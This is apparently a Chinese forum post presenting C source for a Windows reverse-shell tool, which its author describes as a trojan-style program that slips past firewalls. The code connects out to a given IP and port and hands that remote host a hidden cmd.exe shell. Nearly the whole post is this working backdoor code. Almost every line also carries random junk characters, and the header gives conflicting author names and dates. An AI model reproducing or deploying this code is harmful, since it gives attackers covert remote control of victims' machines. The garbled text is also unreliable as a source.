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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %opBJ   
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/* ============================== S;|:ci<[=  
Rebound port in Windows NT k6G _c;V  
By wind,2006/7 I \:WD"  
===============================*/ nxLuzf4U5  
#include R.~[$G!  
#include 0RUk^  
+#O+%!  
#pragma comment(lib,"wsock32.lib") >Vuvbo   
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void OutputShell(); A1WUK=P  
SOCKET sClient; ajYe?z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %)ho<z:7U  
hHs/Qtq  
void main(int argc,char **argv) #6`5-5Ks;  
{ 1W^hPY  
WSADATA stWsaData; |)-kUu  
int nRet; -YRIe<}E -  
SOCKADDR_IN stSaiClient,stSaiServer; F:{*4b  
_z\/{  
if(argc != 3) aZfMeW  
{ )^2eC<t  
printf("Useage:\n\rRebound DestIP DestPort\n"); c_lHj#A(l  
return; $] 6u#5  
}  @MW@mP)#  
$=aO*i  
WSAStartup(MAKEWORD(2,2),&stWsaData); ua\t5M5  
sZ;|NAx)  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IqOg{#sm  
]hl*6  
stSaiClient.sin_family = AF_INET; b 2gng}  
stSaiClient.sin_port = htons(0); .l}Ap7@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JA^o/%a^  
^X#y'odtbS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) | ,8z" g  
{ .;#T<S "  
printf("Bind Socket Failed!\n"); -m@o\9Ic  
return; p/H.bG!z  
} <p@Cx  
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stSaiServer.sin_family = AF_INET; }Zhe%M=}G  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wxN)d B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b#j:)PA0C  
T j$'B[cv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !avol/*  
{ B2`S0 H  
printf("Connect Error!"); `lf_wB+I  
return; c`6c)11K  
} Fs+ tcr/\[  
OutputShell(); blO4)7m  
} 6].[z+  
MP]<m7669*  
void OutputShell() xtV+Le%  
{ b@CB +8 $  
char szBuff[1024]; #]#9Xq  
SECURITY_ATTRIBUTES stSecurityAttributes; `e[S Zj\  
OSVERSIONINFO stOsversionInfo; FD=% 4#|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c*USA eP  
STARTUPINFO stStartupInfo; k"wQ9=HP7  
char *szShell; Gnc`CyN:H  
PROCESS_INFORMATION stProcessInformation; sdp&D@  
unsigned long lBytesRead; #3uv^m LGa  
(vXr2Z<l  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); WBe0^=x  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C.j+Zb1Z(  
stSecurityAttributes.lpSecurityDescriptor = 0; QM$UxWo-  
stSecurityAttributes.bInheritHandle = TRUE; 05UN <l]  
q0sf\|'<}  
cNll??j  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r(,U{bU<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HC`0Ni1  
n#_B4UqW%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ' jciX]g  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A40DbD\^ad  
stStartupInfo.wShowWindow = SW_HIDE;  01kRe  
stStartupInfo.hStdInput = hReadPipe; R2bqhSlF  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bM W|:rn  
}F08o,`?  
GetVersionEx(&stOsversionInfo); C{)1#<`  
oO}g~<fYG  
switch(stOsversionInfo.dwPlatformId) )f8>kz(  
{ +Y;P*U}Qg[  
case 1: Dy08.Sss  
szShell = "command.com"; +qi& ?}  
break; 'nmGHorp  
default: DE13x *2  
szShell = "cmd.exe"; 5Cf!NNV  
break; Y,]Lk<Hm3  
} d0J /"<  
%VHy?!/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  _"DC )  
r6<;bO(  
send(sClient,szMsg,77,0); _[:6.oNjIe  
while(1) "8za'@D"f  
{ cXweg;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +LHU}'|  
if(lBytesRead) %G?@Hye3  
{ gC7!cn  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %-hSa~20  
send(sClient,szBuff,lBytesRead,0); `IHP_IfR  
} Ou[K7-m%&  
else Bwg(f_[1  
{ r[9m-#)>  
lBytesRead=recv(sClient,szBuff,1024,0); VZ]iep  
if(lBytesRead<=0) break; ~E}kwF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zCs34=3 D[  
} F`=p/IAJK  
} O>`k@X@9/  
(Tx_`rO4VY  
return; ,GOIg|51  
}
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